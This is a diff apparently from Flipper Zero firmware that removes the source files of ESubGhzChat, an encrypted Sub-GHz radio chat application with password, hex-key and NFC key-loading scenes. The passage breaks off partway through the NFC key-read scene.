ESubGhzChatState* state = malloc(sizeof(ESubGhzChatState));
if(state == NULL) {
goto err_alloc;
}
memset(state, 0, sizeof(*state));
state->scene_manager = scene_manager_alloc(&esubghz_chat_scene_event_handlers, state);
if(state->scene_manager == NULL) {
goto err_alloc_sm;
}
state->view_dispatcher = view_dispatcher_alloc();
if(state->view_dispatcher == NULL) {
goto err_alloc_vd;
}
if(!helper_strings_alloc(state)) {
goto err_alloc_hs;
}
state->menu = menu_alloc();
if(state->menu == NULL) {
goto err_alloc_menu;
}
state->text_input = text_input_alloc();
if(state->text_input == NULL) {
goto err_alloc_ti;
}
state->hex_key_input = byte_input_alloc();
if(state->hex_key_input == NULL) {
goto err_alloc_hki;
}
if(!chat_box_alloc(state)) {
goto err_alloc_cb;
}
state->key_display = dialog_ex_alloc();
if(state->key_display == NULL) {
goto err_alloc_kd;
}
state->nfc_popup = popup_alloc();
if(state->nfc_popup == NULL) {
goto err_alloc_np;
}
state->subghz_worker = subghz_tx_rx_worker_alloc();
if(state->subghz_worker == NULL) {
goto err_alloc_worker;
}
state->nfc_worker = nfc_worker_alloc();
if(state->nfc_worker == NULL) {
goto err_alloc_nworker;
}
state->nfc_dev_data = malloc(sizeof(NfcDeviceData));
if(state->nfc_dev_data == NULL) {
goto err_alloc_ndevdata;
}
memset(state->nfc_dev_data, 0, sizeof(NfcDeviceData));
state->crypto_ctx = crypto_ctx_alloc();
if(state->crypto_ctx == NULL) {
goto err_alloc_crypto;
}
/* set the default frequency */
state->frequency = DEFAULT_FREQ;
/* set the have_read callback of the Sub-GHz worker */
subghz_tx_rx_worker_set_callback_have_read(state->subghz_worker, have_read_cb, state);
/* enter suppress charge mode */
furi_hal_power_suppress_charge_enter();
/* init internal device */
subghz_devices_init();
state->subghz_device =
radio_device_loader_set(state->subghz_device, SubGhzRadioDeviceTypeExternalCC1101);
subghz_devices_reset(state->subghz_device);
subghz_devices_idle(state->subghz_device);
/* set chat name prefix */
furi_string_printf(state->name_prefix, "%s", furi_hal_version_get_name_ptr());
/* get notification record, we use this to make the flipper vibrate */
/* no error handling here, don't know how */
state->notification = furi_record_open(RECORD_NOTIFICATION);
/* hook into the view port's draw and input callbacks */
state->orig_draw_cb = state->view_dispatcher->view_port->draw_callback;
state->orig_input_cb = state->view_dispatcher->view_port->input_callback;
view_port_draw_callback_set(
state->view_dispatcher->view_port, esubghz_hooked_draw_callback, state);
view_port_input_callback_set(
state->view_dispatcher->view_port, esubghz_hooked_input_callback, state);
view_dispatcher_enable_queue(state->view_dispatcher);
/* set callbacks for view dispatcher */
view_dispatcher_set_event_callback_context(state->view_dispatcher, state);
view_dispatcher_set_custom_event_callback(
state->view_dispatcher, esubghz_chat_custom_event_callback);
view_dispatcher_set_navigation_event_callback(
state->view_dispatcher, esubghz_chat_navigation_event_callback);
view_dispatcher_set_tick_event_callback(
state->view_dispatcher, esubghz_chat_tick_event_callback, TICK_INTERVAL);
/* add our two views to the view dispatcher */
view_dispatcher_add_view(
state->view_dispatcher, ESubGhzChatView_Menu, menu_get_view(state->menu));
view_dispatcher_add_view(
state->view_dispatcher, ESubGhzChatView_Input, text_input_get_view(state->text_input));
view_dispatcher_add_view(
state->view_dispatcher,
ESubGhzChatView_HexKeyInput,
byte_input_get_view(state->hex_key_input));
view_dispatcher_add_view(
state->view_dispatcher, ESubGhzChatView_ChatBox, text_box_get_view(state->chat_box));
view_dispatcher_add_view(
state->view_dispatcher,
ESubGhzChatView_KeyDisplay,
dialog_ex_get_view(state->key_display));
view_dispatcher_add_view(
state->view_dispatcher, ESubGhzChatView_NfcPopup, popup_get_view(state->nfc_popup));
/* get the GUI record and attach the view dispatcher to the GUI */
/* no error handling here, don't know how */
Gui* gui = furi_record_open(RECORD_GUI);
view_dispatcher_attach_to_gui(state->view_dispatcher, gui, ViewDispatcherTypeFullscreen);
/* switch to the key menu scene */
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_KeyMenu);
/* run the view dispatcher, this call only returns when we close the
* application */
view_dispatcher_run(state->view_dispatcher);
/* if it is running, stop the Sub-GHz worker */
if(subghz_tx_rx_worker_is_running(state->subghz_worker)) {
exit_chat(state);
subghz_tx_rx_worker_stop(state->subghz_worker);
}
/* if it is running, stop the NFC worker */
nfc_worker_stop(state->nfc_worker);
err = 0;
/* close GUI record */
furi_record_close(RECORD_GUI);
/* remove our two views from the view dispatcher */
view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_Menu);
view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_Input);
view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_HexKeyInput);
view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_ChatBox);
view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_KeyDisplay);
view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_NfcPopup);
/* close notification record */
furi_record_close(RECORD_NOTIFICATION);
/* clear the key and potential password */
crypto_explicit_bzero(state->text_input_store, sizeof(state->text_input_store));
crypto_explicit_bzero(state->hex_key_input_store, sizeof(state->hex_key_input_store));
crypto_explicit_bzero(state->key_hex_str, sizeof(state->key_hex_str));
crypto_ctx_clear(state->crypto_ctx);
/* clear nfc data */
if(state->nfc_dev_data->parsed_data != NULL) {
furi_string_free(state->nfc_dev_data->parsed_data);
}
crypto_explicit_bzero(state->nfc_dev_data, sizeof(NfcDeviceData));
/* deinit devices */
radio_device_loader_end(state->subghz_device);
subghz_devices_deinit();
/* exit suppress charge mode */
furi_hal_power_suppress_charge_exit();
/* free everything we allocated */
crypto_ctx_free(state->crypto_ctx);
err_alloc_crypto:
free(state->nfc_dev_data);
err_alloc_ndevdata:
nfc_worker_free(state->nfc_worker);
err_alloc_nworker:
subghz_tx_rx_worker_free(state->subghz_worker);
err_alloc_worker:
popup_free(state->nfc_popup);
err_alloc_np:
dialog_ex_free(state->key_display);
err_alloc_kd:
chat_box_free(state);
err_alloc_cb:
byte_input_free(state->hex_key_input);
err_alloc_hki:
text_input_free(state->text_input);
err_alloc_ti:
menu_free(state->menu);
err_alloc_menu:
helper_strings_free(state);
err_alloc_hs:
view_dispatcher_free(state->view_dispatcher);
err_alloc_vd:
scene_manager_free(state->scene_manager);
err_alloc_sm:
free(state);
err_alloc:
if(err != 0) {
FURI_LOG_E(APPLICATION_NAME, "Failed to launch (alloc error)!");
} else {
FURI_LOG_I(APPLICATION_NAME, "Clean exit.");
}
return err;
}

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@@ -1,124 +0,0 @@
#pragma once
#include <furi.h>
#include <gui/view_dispatcher_i.h>
#include <gui/view_port_i.h>
#include <gui/scene_manager.h>
#include <gui/modules/byte_input.h>
#include <gui/modules/dialog_ex.h>
#include <gui/modules/menu.h>
#include <gui/modules/popup.h>
#include <gui/modules/text_box.h>
#include <gui/modules/text_input.h>
#include <notification/notification_messages.h>
#include <lib/nfc/nfc_worker.h>
#include <lib/subghz/subghz_tx_rx_worker.h>
#include <toolbox/sha256.h>
#include "crypto_wrapper.h"
#include "scenes/esubghz_chat_scene.h"
#include "esubghz_chat_icons.h"
#include <assets_icons.h>
#define APPLICATION_NAME "ESubGhzChat"
#define DEFAULT_FREQ 433920000
#define KEY_READ_POPUP_MS 3000
#define RX_TX_BUFFER_SIZE 1024
#define CHAT_BOX_STORE_SIZE 4096
#define TEXT_INPUT_STORE_SIZE 256
#define MSG_PREVIEW_SIZE 32
#define KEY_HEX_STR_SIZE ((KEY_BITS / 8) * 3)
typedef struct {
SceneManager* scene_manager;
ViewDispatcher* view_dispatcher;
NotificationApp* notification;
// UI elements
Menu* menu;
TextBox* chat_box;
FuriString* chat_box_store;
TextInput* text_input;
char text_input_store[TEXT_INPUT_STORE_SIZE + 1];
ByteInput* hex_key_input;
uint8_t hex_key_input_store[KEY_BITS / 8];
DialogEx* key_display;
char key_hex_str[KEY_HEX_STR_SIZE + 1];
Popup* nfc_popup;
// for Sub-GHz
uint32_t frequency;
SubGhzTxRxWorker* subghz_worker;
const SubGhzDevice* subghz_device;
// for NFC
NfcWorker* nfc_worker;
NfcDeviceData* nfc_dev_data;
// message assembly before TX
FuriString* name_prefix;
FuriString* msg_input;
// message preview
char msg_preview[MSG_PREVIEW_SIZE + 1];
// encryption
bool encrypted;
ESubGhzChatCryptoCtx* crypto_ctx;
// RX and TX buffers
uint8_t rx_buffer[RX_TX_BUFFER_SIZE];
uint8_t tx_buffer[RX_TX_BUFFER_SIZE];
char rx_str_buffer[RX_TX_BUFFER_SIZE + 1];
volatile uint32_t last_time_rx_data;
// for locking
ViewPortDrawCallback orig_draw_cb;
ViewPortInputCallback orig_input_cb;
bool kbd_locked;
uint32_t kbd_lock_msg_ticks;
uint8_t kbd_lock_count;
// for ongoing inputs
bool kbd_ok_input_ongoing;
bool kbd_left_input_ongoing;
bool kbd_right_input_ongoing;
} ESubGhzChatState;
typedef enum {
ESubGhzChatEvent_FreqEntered,
ESubGhzChatEvent_KeyMenuNoEncryption,
ESubGhzChatEvent_KeyMenuPassword,
ESubGhzChatEvent_KeyMenuHexKey,
ESubGhzChatEvent_KeyMenuGenKey,
ESubGhzChatEvent_KeyMenuReadKeyFromNfc,
ESubGhzChatEvent_KeyReadPopupFailed,
ESubGhzChatEvent_KeyReadPopupSucceeded,
ESubGhzChatEvent_PassEntered,
ESubGhzChatEvent_HexKeyEntered,
ESubGhzChatEvent_MsgEntered,
ESubGhzChatEvent_GotoMsgInput,
ESubGhzChatEvent_GotoKeyDisplay,
ESubGhzChatEvent_KeyDisplayBack,
ESubGhzChatEvent_KeyDisplayShare,
} ESubGhzChatEvent;
typedef enum {
ESubGhzChatView_Menu,
ESubGhzChatView_Input,
ESubGhzChatView_HexKeyInput,
ESubGhzChatView_ChatBox,
ESubGhzChatView_KeyDisplay,
ESubGhzChatView_NfcPopup,
} ESubGhzChatView;
void set_chat_input_header(ESubGhzChatState* state);
void append_msg(ESubGhzChatState* state, const char* msg);
void tx_msg_input(ESubGhzChatState* state);
void enter_chat(ESubGhzChatState* state);

View File

@@ -1,25 +0,0 @@
#pragma once
#ifdef __cplusplus
extern "C" {
#endif
#define NFC_MAX_BYTES 256
#define NFC_CONFIG_PAGES 4
struct FreqNfcEntry {
uint32_t frequency;
uint32_t unused1;
uint32_t unused2;
uint32_t unused3;
} __attribute__((packed));
struct ReplayDictNfcEntry {
uint64_t run_id;
uint32_t counter;
uint32_t unused;
} __attribute__((packed));
#ifdef __cplusplus
}
#endif

View File

@@ -1,65 +0,0 @@
#include "radio_device_loader.h"
#include <applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h>
#include <lib/subghz/devices/cc1101_int/cc1101_int_interconnect.h>
static void radio_device_loader_power_on() {
uint8_t attempts = 0;
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
furi_hal_power_enable_otg();
//CC1101 power-up time
furi_delay_ms(10);
}
}
static void radio_device_loader_power_off() {
if(furi_hal_power_is_otg_enabled()) furi_hal_power_disable_otg();
}
bool radio_device_loader_is_connect_external(const char* name) {
bool is_connect = false;
bool is_otg_enabled = furi_hal_power_is_otg_enabled();
if(!is_otg_enabled) {
radio_device_loader_power_on();
}
const SubGhzDevice* device = subghz_devices_get_by_name(name);
if(device) {
is_connect = subghz_devices_is_connect(device);
}
if(!is_otg_enabled) {
radio_device_loader_power_off();
}
return is_connect;
}
const SubGhzDevice* radio_device_loader_set(
const SubGhzDevice* current_radio_device,
SubGhzRadioDeviceType radio_device_type) {
const SubGhzDevice* radio_device;
if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101 &&
radio_device_loader_is_connect_external(SUBGHZ_DEVICE_CC1101_EXT_NAME)) {
radio_device_loader_power_on();
radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME);
subghz_devices_begin(radio_device);
} else if(current_radio_device == NULL) {
radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME);
} else {
radio_device_loader_end(current_radio_device);
radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME);
}
return radio_device;
}
void radio_device_loader_end(const SubGhzDevice* radio_device) {
furi_assert(radio_device);
radio_device_loader_power_off();
// Code below is not used (and will cause crash) since its called from tx_rx worker end!
//if(radio_device != subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME)) {
// subghz_devices_end(radio_device);
//}
}

View File

@@ -1,15 +0,0 @@
#pragma once
#include <lib/subghz/devices/devices.h>
/** SubGhzRadioDeviceType */
typedef enum {
SubGhzRadioDeviceTypeInternal,
SubGhzRadioDeviceTypeExternalCC1101,
} SubGhzRadioDeviceType;
const SubGhzDevice* radio_device_loader_set(
const SubGhzDevice* current_radio_device,
SubGhzRadioDeviceType radio_device_type);
void radio_device_loader_end(const SubGhzDevice* radio_device);

View File

@@ -1,59 +0,0 @@
#include "../esubghz_chat_i.h"
/* Prepares the text box scene. */
void scene_on_enter_chat_box(void* context) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_chat_box");
furi_assert(context);
ESubGhzChatState* state = context;
text_box_reset(state->chat_box);
text_box_set_text(state->chat_box, furi_string_get_cstr(state->chat_box_store));
text_box_set_focus(state->chat_box, TextBoxFocusEnd);
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_ChatBox);
}
/* Handles scene manager events for the text box scene. */
bool scene_on_event_chat_box(void* context, SceneManagerEvent event) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_chat_box");
furi_assert(context);
ESubGhzChatState* state = context;
bool consumed = false;
switch(event.type) {
case SceneManagerEventTypeCustom:
switch(event.event) {
/* switch to message input scene */
case ESubGhzChatEvent_GotoMsgInput:
if(!scene_manager_previous_scene(state->scene_manager)) {
view_dispatcher_stop(state->view_dispatcher);
}
consumed = true;
break;
case ESubGhzChatEvent_GotoKeyDisplay:
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_KeyDisplay);
consumed = true;
break;
}
break;
default:
consumed = false;
break;
}
return consumed;
}
/* Cleans up the text box scene. */
void scene_on_exit_chat_box(void* context) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_chat_box");
furi_assert(context);
ESubGhzChatState* state = context;
text_box_reset(state->chat_box);
}

View File

@@ -1,107 +0,0 @@
#include "../esubghz_chat_i.h"
/* If no message was entred this simply emits a MsgEntered event to the scene
* manager to switch to the text box. If a message was entered it is appended
* to the name string. The result is encrypted, if encryption is enabled, and
* then copied into the TX buffer. The contents of the TX buffer are then
* transmitted. The sent message is appended to the text box and a MsgEntered
* event is sent to the scene manager to switch to the text box view. */
static bool chat_input_validator(const char* text, FuriString* error, void* context) {
UNUSED(error);
furi_assert(context);
ESubGhzChatState* state = context;
/* no message, just switch to the text box view */
if(strlen(text) == 0) {
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_MsgEntered);
return true;
}
/* concatenate the name prefix and the actual message */
furi_string_set(state->msg_input, state->name_prefix);
furi_string_cat_str(state->msg_input, ": ");
furi_string_cat_str(state->msg_input, text);
/* append the message to the chat box and prepare message preview */
append_msg(state, furi_string_get_cstr(state->msg_input));
/* encrypt and transmit message */
tx_msg_input(state);
/* clear message input buffer */
furi_string_set_char(state->msg_input, 0, 0);
/* switch to text box view */
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_MsgEntered);
return true;
}
/* Prepares the message input scene. */
void scene_on_enter_chat_input(void* context) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_chat_input");
furi_assert(context);
ESubGhzChatState* state = context;
state->text_input_store[0] = 0;
text_input_reset(state->text_input);
/* use validator for scene change to get around minimum length
* requirement */
text_input_set_result_callback(
state->text_input,
NULL,
NULL,
state->text_input_store,
sizeof(state->text_input_store),
true);
text_input_set_validator(state->text_input, chat_input_validator, state);
set_chat_input_header(state);
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_Input);
}
/* Handles scene manager events for the message input scene. */
bool scene_on_event_chat_input(void* context, SceneManagerEvent event) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_chat_input");
furi_assert(context);
ESubGhzChatState* state = context;
bool consumed = false;
switch(event.type) {
case SceneManagerEventTypeCustom:
switch(event.event) {
/* switch to text box scene */
case ESubGhzChatEvent_MsgEntered:
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_ChatBox);
consumed = true;
break;
}
break;
case SceneManagerEventTypeBack:
/* stop the application if the user presses back here */
view_dispatcher_stop(state->view_dispatcher);
consumed = true;
break;
default:
consumed = false;
break;
}
return consumed;
}
/* Cleans up the password input scene. */
void scene_on_exit_chat_input(void* context) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_chat_input");
furi_assert(context);
ESubGhzChatState* state = context;
text_input_reset(state->text_input);
}

View File

@@ -1,108 +0,0 @@
#include "../esubghz_chat_i.h"
/* Sends FreqEntered event to scene manager and enters the chat. */
static void freq_input_cb(void* context) {
furi_assert(context);
ESubGhzChatState* state = context;
enter_chat(state);
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_FreqEntered);
}
/* Validates the entered frequency. */
static bool freq_input_validator(const char* text, FuriString* error, void* context) {
furi_assert(text);
furi_assert(error);
furi_assert(context);
ESubGhzChatState* state = context;
int ret = sscanf(text, "%lu", &(state->frequency));
if(ret != 1) {
furi_string_printf(error, "Please enter\nfrequency\nin Hz!");
return false;
}
if(!subghz_devices_is_frequency_valid(state->subghz_device, state->frequency)) {
furi_string_printf(error, "Frequency\n%lu\n is invalid!", state->frequency);
return false;
}
#ifdef FW_ORIGIN_Official
if(!furi_hal_region_is_frequency_allowed(state->frequency)) {
#else /* FW_ORIGIN_Official */
if(!furi_hal_subghz_is_tx_allowed(state->frequency)) {
#endif /* FW_ORIGIN_Official */
furi_string_printf(error, "TX forbidden\non frequency\n%lu!", state->frequency);
return false;
}
return true;
}
/* Prepares the frequency input scene. */
void scene_on_enter_freq_input(void* context) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_freq_input");
furi_assert(context);
ESubGhzChatState* state = context;
snprintf(state->text_input_store, TEXT_INPUT_STORE_SIZE, "%lu", state->frequency);
text_input_reset(state->text_input);
text_input_set_result_callback(
state->text_input,
freq_input_cb,
state,
state->text_input_store,
sizeof(state->text_input_store),
true);
text_input_set_validator(state->text_input, freq_input_validator, state);
text_input_set_header_text(state->text_input, "Frequency");
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_Input);
}
/* Handles scene manager events for the frequency input scene. */
bool scene_on_event_freq_input(void* context, SceneManagerEvent event) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_freq_input");
furi_assert(context);
ESubGhzChatState* state = context;
bool consumed = false;
switch(event.type) {
case SceneManagerEventTypeCustom:
switch(event.event) {
/* switch to message input scene */
case ESubGhzChatEvent_FreqEntered:
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_ChatInput);
consumed = true;
break;
}
break;
case SceneManagerEventTypeBack:
/* stop the application if the user presses back here */
view_dispatcher_stop(state->view_dispatcher);
consumed = true;
break;
default:
consumed = false;
break;
}
return consumed;
}
/* Cleans up the frequency input scene. */
void scene_on_exit_freq_input(void* context) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_freq_input");
furi_assert(context);
ESubGhzChatState* state = context;
text_input_reset(state->text_input);
}

View File

@@ -1,80 +0,0 @@
#include "../esubghz_chat_i.h"
/* Sets the entered bytes as the key and sends a HexKeyEntered event to the
* scene manager. */
static void hex_key_input_cb(void* context) {
furi_assert(context);
ESubGhzChatState* state = context;
/* initiate the crypto context */
bool ret = crypto_ctx_set_key(
state->crypto_ctx, state->hex_key_input_store, state->name_prefix, furi_get_tick());
/* cleanup */
crypto_explicit_bzero(state->hex_key_input_store, sizeof(state->hex_key_input_store));
if(!ret) {
crypto_ctx_clear(state->crypto_ctx);
return;
}
state->encrypted = true;
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_HexKeyEntered);
}
/* Prepares the hex key input scene. */
void scene_on_enter_hex_key_input(void* context) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_hex_key_input");
furi_assert(context);
ESubGhzChatState* state = context;
byte_input_set_result_callback(
state->hex_key_input,
hex_key_input_cb,
NULL,
state,
state->hex_key_input_store,
sizeof(state->hex_key_input_store));
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_HexKeyInput);
}
/* Handles scene manager events for the hex key input scene. */
bool scene_on_event_hex_key_input(void* context, SceneManagerEvent event) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_hex_key_input");
furi_assert(context);
ESubGhzChatState* state = context;
bool consumed = false;
switch(event.type) {
case SceneManagerEventTypeCustom:
switch(event.event) {
/* switch to frequency input scene */
case ESubGhzChatEvent_HexKeyEntered:
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_FreqInput);
consumed = true;
break;
}
break;
default:
consumed = false;
break;
}
return consumed;
}
/* Cleans up the hex key input scene. */
void scene_on_exit_hex_key_input(void* context) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_hex_key_input");
furi_assert(context);
ESubGhzChatState* state = context;
crypto_explicit_bzero(state->hex_key_input_store, sizeof(state->hex_key_input_store));
}

View File

@@ -1,145 +0,0 @@
#include "../esubghz_chat_i.h"
void key_display_result_cb(DialogExResult result, void* context) {
furi_assert(context);
ESubGhzChatState* state = context;
switch(result) {
case DialogExResultLeft:
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_KeyDisplayBack);
break;
case DialogExResultCenter:
if(state->encrypted) {
view_dispatcher_send_custom_event(
state->view_dispatcher, ESubGhzChatEvent_KeyDisplayShare);
}
break;
default:
break;
}
}
/* Prepares the key display scene. */
void scene_on_enter_key_display(void* context) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_key_display");
furi_assert(context);
ESubGhzChatState* state = context;
if(state->encrypted) {
uint8_t key[KEY_BITS / 8];
crypto_ctx_get_key(state->crypto_ctx, key);
snprintf(
state->key_hex_str,
KEY_HEX_STR_SIZE,
"%02hX%02hX%02hX%02hX"
"%02hX%02hX%02hX%02hX\n"
"%02hX%02hX%02hX%02hX"
"%02hX%02hX%02hX%02hX\n"
"%02hX%02hX%02hX%02hX"
"%02hX%02hX%02hX%02hX\n"
"%02hX%02hX%02hX%02hX"
"%02hX%02hX%02hX%02hX",
key[0],
key[1],
key[2],
key[3],
key[4],
key[5],
key[6],
key[7],
key[8],
key[9],
key[10],
key[11],
key[12],
key[13],
key[14],
key[15],
key[16],
key[17],
key[18],
key[19],
key[20],
key[21],
key[22],
key[23],
key[24],
key[25],
key[26],
key[27],
key[28],
key[29],
key[30],
key[31]);
crypto_explicit_bzero(key, sizeof(key));
} else {
strcpy(state->key_hex_str, "No Key");
}
dialog_ex_reset(state->key_display);
dialog_ex_set_text(state->key_display, state->key_hex_str, 64, 2, AlignCenter, AlignTop);
dialog_ex_set_icon(state->key_display, 0, 0, NULL);
dialog_ex_set_left_button_text(state->key_display, "Back");
if(state->encrypted) {
dialog_ex_set_center_button_text(state->key_display, "Share");
}
dialog_ex_set_result_callback(state->key_display, key_display_result_cb);
dialog_ex_set_context(state->key_display, state);
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_KeyDisplay);
}
/* Handles scene manager events for the key display scene. */
bool scene_on_event_key_display(void* context, SceneManagerEvent event) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_key_display");
furi_assert(context);
ESubGhzChatState* state = context;
bool consumed = false;
switch(event.type) {
case SceneManagerEventTypeCustom:
switch(event.event) {
/* switch to message input scene */
case ESubGhzChatEvent_KeyDisplayBack:
if(!scene_manager_previous_scene(state->scene_manager)) {
view_dispatcher_stop(state->view_dispatcher);
}
consumed = true;
break;
/* open key sharing popup */
case ESubGhzChatEvent_KeyDisplayShare:
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_KeySharePopup);
consumed = true;
break;
}
break;
default:
consumed = false;
break;
}
return consumed;
}
/* Cleans up the key display scene. */
void scene_on_exit_key_display(void* context) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_key_display");
furi_assert(context);
ESubGhzChatState* state = context;
dialog_ex_reset(state->key_display);
crypto_explicit_bzero(state->key_hex_str, sizeof(state->key_hex_str));
}

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@@ -1,174 +0,0 @@
#include "../esubghz_chat_i.h"
typedef enum {
ESubGhzChatKeyMenuItems_NoEncryption,
ESubGhzChatKeyMenuItems_Password,
ESubGhzChatKeyMenuItems_HexKey,
ESubGhzChatKeyMenuItems_GenKey,
ESubGhzChatKeyMenuItems_ReadKeyFromNfc,
} ESubGhzChatKeyMenuItems;
static void key_menu_cb(void* context, uint32_t index) {
furi_assert(context);
ESubGhzChatState* state = context;
uint8_t key[KEY_BITS / 8];
switch(index) {
case ESubGhzChatKeyMenuItems_NoEncryption:
state->encrypted = false;
view_dispatcher_send_custom_event(
state->view_dispatcher, ESubGhzChatEvent_KeyMenuNoEncryption);
break;
case ESubGhzChatKeyMenuItems_Password:
view_dispatcher_send_custom_event(
state->view_dispatcher, ESubGhzChatEvent_KeyMenuPassword);
break;
case ESubGhzChatKeyMenuItems_HexKey:
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_KeyMenuHexKey);
break;
case ESubGhzChatKeyMenuItems_GenKey:
/* generate a random key */
furi_hal_random_fill_buf(key, KEY_BITS / 8);
/* initiate the crypto context */
bool ret = crypto_ctx_set_key(state->crypto_ctx, key, state->name_prefix, furi_get_tick());
/* cleanup */
crypto_explicit_bzero(key, sizeof(key));
if(!ret) {
crypto_ctx_clear(state->crypto_ctx);
return;
}
/* set encrypted flag and enter the chat */
state->encrypted = true;
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_KeyMenuGenKey);
break;
case ESubGhzChatKeyMenuItems_ReadKeyFromNfc:
view_dispatcher_send_custom_event(
state->view_dispatcher, ESubGhzChatEvent_KeyMenuReadKeyFromNfc);
break;
default:
break;
}
}
/* Prepares the key menu scene. */
void scene_on_enter_key_menu(void* context) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_key_menu");
furi_assert(context);
ESubGhzChatState* state = context;
menu_reset(state->menu);
/* clear the crypto CTX in case we got back from password or hex key
* input */
crypto_ctx_clear(state->crypto_ctx);
menu_add_item(
state->menu,
"No encryption",
&I_chat_14px,
ESubGhzChatKeyMenuItems_NoEncryption,
key_menu_cb,
state);
menu_add_item(
state->menu,
"Password",
&I_keyboard_14px,
ESubGhzChatKeyMenuItems_Password,
key_menu_cb,
state);
menu_add_item(
state->menu, "Hex Key", &I_hex_14px, ESubGhzChatKeyMenuItems_HexKey, key_menu_cb, state);
menu_add_item(
state->menu,
"Generate Key",
&I_u2f_14px,
ESubGhzChatKeyMenuItems_GenKey,
key_menu_cb,
state);
menu_add_item(
state->menu,
"Read Key from NFC",
&I_Nfc_14px,
ESubGhzChatKeyMenuItems_ReadKeyFromNfc,
key_menu_cb,
state);
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_Menu);
}
/* Handles scene manager events for the key menu scene. */
bool scene_on_event_key_menu(void* context, SceneManagerEvent event) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_key_menu");
furi_assert(context);
ESubGhzChatState* state = context;
bool consumed = false;
switch(event.type) {
case SceneManagerEventTypeCustom:
switch(event.event) {
/* switch to frequency input scene */
case ESubGhzChatEvent_KeyMenuNoEncryption:
case ESubGhzChatEvent_KeyMenuGenKey:
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_FreqInput);
consumed = true;
break;
/* switch to password input scene */
case ESubGhzChatEvent_KeyMenuPassword:
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_PassInput);
consumed = true;
break;
/* switch to hex key input scene */
case ESubGhzChatEvent_KeyMenuHexKey:
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_HexKeyInput);
consumed = true;
break;
/* switch to hex key read scene */
case ESubGhzChatEvent_KeyMenuReadKeyFromNfc:
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_KeyReadPopup);
consumed = true;
break;
}
break;
case SceneManagerEventTypeBack:
/* stop the application if the user presses back here */
view_dispatcher_stop(state->view_dispatcher);
consumed = true;
break;
default:
consumed = false;
break;
}
return consumed;
}
/* Cleans up the key menu scene. */
void scene_on_exit_key_menu(void* context) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_key_menu");
furi_assert(context);
ESubGhzChatState* state = context;
menu_reset(state->menu);
}

View File

@@ -1,273 +0,0 @@
#include "../esubghz_chat_i.h"
#include "../helpers/nfc_helpers.h"
typedef enum {
KeyReadPopupState_Idle,
KeyReadPopupState_Detecting,
KeyReadPopupState_Reading,
KeyReadPopupState_Fail,
KeyReadPopupState_Success,
} KeyReadPopupState;
static bool read_worker_cb(NfcWorkerEvent event, void* context) {
furi_assert(context);
ESubGhzChatState* state = context;
view_dispatcher_send_custom_event(state->view_dispatcher, event);
return true;
}
static void key_read_popup_timeout_cb(void* context) {
furi_assert(context);
ESubGhzChatState* state = context;
uint32_t cur_state =
scene_manager_get_scene_state(state->scene_manager, ESubGhzChatScene_KeyReadPopup);
/* done displaying our failure */
if(cur_state == KeyReadPopupState_Fail) {
view_dispatcher_send_custom_event(
state->view_dispatcher, ESubGhzChatEvent_KeyReadPopupFailed);
/* done displaying our success */
} else if(cur_state == KeyReadPopupState_Success) {
view_dispatcher_send_custom_event(
state->view_dispatcher, ESubGhzChatEvent_KeyReadPopupSucceeded);
}
}
struct ReplayDictNfcReaderContext {
uint8_t* cur;
uint8_t* max;
};
static bool replay_dict_nfc_reader(uint64_t* run_id, uint32_t* counter, void* context) {
